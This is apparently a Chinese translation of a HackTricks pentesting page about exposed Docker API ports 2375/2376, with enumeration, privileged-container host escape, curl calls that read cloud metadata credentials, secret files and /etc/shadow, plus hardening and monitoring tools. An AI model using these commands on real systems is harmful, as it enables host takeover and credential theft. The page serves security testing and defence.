20 KiB
2375, 2376 Docker 渗透测试
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的 公司广告 或 下载 PDF 版本的 HackTricks,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 探索 PEASS 家族,我们的独家 NFTs
- 加入 💬 Discord 群组 或 电报群组 或 关注 我的 Twitter 🐦 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
Docker 基础知识
什么是 Docker
Docker 平台是业界领先的容器平台,支持持续、高速创新,使组织能够无缝构建和共享任何应用程序 — 从传统应用到未来的应用 — 并在任何地方安全运行它们。
基本 Docker 架构
- containerd 是一个容器运行时,能够管理容器的整个生命周期,包括镜像的传输和存储,以及容器的执行、监督和网络。有关 containerd 的更多详细信息如下。
- 无头容器的处理由 container-shim 完成,它充当中间件。具体来说,在 runc 初始化容器后,控制权会传递给 container-shim。
- runc 被认为是一个轻量级、通用的容器运行时,符合 OCI 规范。containerd 使用它根据 OCI 规范启动和管理容器,它是 libcontainer 的重新命名版本。
- 为了促进 containerd 和 docker-engine 之间的通信,使用了 grpc。
- OCI 维护了有关运行时和镜像的规范,当前的 Docker 版本符合 OCI 镜像和运行时规范。
基本命令
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd被设计用于被Docker和Kubernetes使用,以及任何其他希望在Linux、Windows、Solaris或其他操作系统上抽象出系统调用或特定于操作系统的功能以运行容器的容器平台。考虑到这些用户,我们希望确保containerd只包含他们需要的内容,而不包含他们不需要的内容。实际上这是不可能的,但至少这是我们努力追求的目标。像网络这样的功能对于containerd来说是超出范围的。原因在于,在构建分布式系统时,网络是一个非常核心的方面。随着今天的SDN和服务发现,网络比在Linux上抽象出netlink调用要具体得多。
请注意,Docker使用Containerd,但它只提供Docker提供的功能的子集。例如,ContainerD没有Docker的网络管理功能,也不能单独使用ContainerD来创建Docker集群。
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
一个由 Red Hat 维护的符合 OCI(Open Container Initiative)标准的开源容器引擎,名为 Podman。与 Docker 相比,它具有几个关键区别,包括无守护程序结构和支持不需要 root 访问权限的容器。这两个工具的主要功能是管理镜像和容器。Podman 的一个显著目标是与 Docker 的 API 兼容,允许在 Podman 中使用几乎所有 Docker CLI 命令。
在 Podman 生态系统中,还有两个额外的工具,Buildah 和 Skopeo。Buildah 用作构建容器镜像的 CLI 工具,而 Skopeo 用于执行像推送、拉取或检查等镜像操作。有关这些工具及其与 Podman 集成的更多信息,请参阅它们的 GitHub 页面。
主要区别
Docker 和 Podman 最显著的区别在于它们的架构设计。Docker 采用客户端-服务器模型,需要使用 Docker CLI 与负责构建镜像和执行容器的后台守护程序进行交互,后者以 root 权限运行。相比之下,Podman 使用无守护程序架构,允许容器在启动用户的权限下执行,无需 root 访问权限。这种设计确保 Podman 的用户只能与自己的容器交互,而无需共享用于 CLI 通信的守护程序。
为了在没有守护程序的情况下支持后台容器操作,Podman 与 systemd 集成,通过 systemd 单元管理容器。这种集成随 Podman 版本而异,提供为现有容器和尚未创建的容器生成单元的能力,并促进 systemd 在容器内的运行。与 Podman 不同,Docker 传统上依赖 systemd 进行守护程序管理。
另一个关键区别在于容器的执行。Podman 允许容器以启动用户的权限而不是守护程序的权限运行。这引入了无 root 权限的容器的概念,可以在无需 root 访问权限的情况下启动,通过限制容器泄漏的潜在影响,提供了显著的安全优势。无 root 权限的容器确保受损容器的攻击者仅拥有主机上普通用户的权限,防止权限升级超出启动用户的权限,从而增强安全性。
podman --version
podman info
pdoman images ls
podman ls
{% endhint %}
基本信息
当启用时,默认情况下远程 API 在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API,可以将主机/(根目录)附加到容器,并读取/写入主机环
PORT STATE SERVICE
2375/tcp open docker
枚举
手动
请注意,为了枚举docker API,您可以使用docker
命令或curl
,就像下面的示例中所示:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
如果您可以使用docker
命令联系远程docker API,您可以执行任何之前评论过的docker 命令 来与服务进行交互。
{% hint style="info" %}
您可以export DOCKER_HOST="tcp://localhost:2375"
,避免在docker命令中使用-H
参数
{% endhint %}
快速提权
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
有时你会看到 2376 开放用于 TLS 端点。我无法用 docker 客户端连接到它,但你可以使用 curl 轻松地访问 docker API。
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
如果您想获取更多信息,请查看我复制命令的地方:https://securityboulevard.com/2019/02/abusing-docker-api-socket/
自动化
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
入侵
在以下页面,您可以找到从 Docker 容器中逃脱的方法:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}
滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到机器:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
提权
如果您在使用 Docker 的主机内部,您可以阅读此信息尝试提升权限。
在运行中的 Docker 容器中发现秘密
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
检查env(环境变量部分)以查找秘密信息,可能会发现:
- 密码。
- IP地址。
- 端口。
- 路径。
- 其他…。
如果要提取文件:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
保护您的Docker
保护Docker安装和使用
- 您可以使用工具https://github.com/docker/docker-bench-security来检查您当前的Docker安装。
./docker-bench-security.sh
- 您可以使用工具https://github.com/kost/dockscan来检查您当前的Docker安装。
dockscan -v unix:///var/run/docker.sock
- 您可以使用工具https://github.com/genuinetools/amicontained来查看在不同安全选项下运行容器时容器将具有的特权。这对于了解使用某些安全选项运行容器的影响很有用:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
保护Docker镜像
- 您可以使用https://github.com/quay/clair的Docker镜像来扫描您的其他Docker镜像并查找漏洞。
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
保护Dockerfiles
- 您可以使用工具https://github.com/buddy-works/dockerfile-linter来检查您的Dockerfile并找到各种配置错误。每个配置错误都将被赋予一个ID,您可以在https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md找到如何修复每个错误。
dockerfilelinter -f Dockerfile
- 您可以使用工具https://github.com/replicatedhq/dockerfilelint来检查您的Dockerfile并找到各种配置错误。
dockerfilelint Dockerfile
- 您可以使用工具https://github.com/RedCoolBeans/dockerlint来检查您的Dockerfile并找到各种配置错误。
dockerlint Dockerfile
- 您可以使用工具https://github.com/hadolint/hadolint来检查您的Dockerfile并找到各种配置错误。
hadolint Dockerfile
记录可疑活动
- 您可以使用工具https://github.com/falcosecurity/falco来检测运行容器中的可疑行为。
- 请注意下面的代码块中Falco如何编译内核模块并插入。之后,它加载规则并开始记录可疑活动。在这种情况下,它检测到启动了2个特权容器,其中一个带有敏感挂载点,几秒钟后检测到一个容器内打开了一个shell。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
监控 Docker
您可以使用 auditd 来监控 Docker。